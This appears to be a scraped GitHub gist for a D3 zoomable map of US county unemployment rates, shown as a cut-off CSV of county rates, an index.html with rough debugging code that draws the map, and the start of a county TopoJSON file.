02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/c3f658314b0cf3ce1f714631ff62ad04">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.4&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot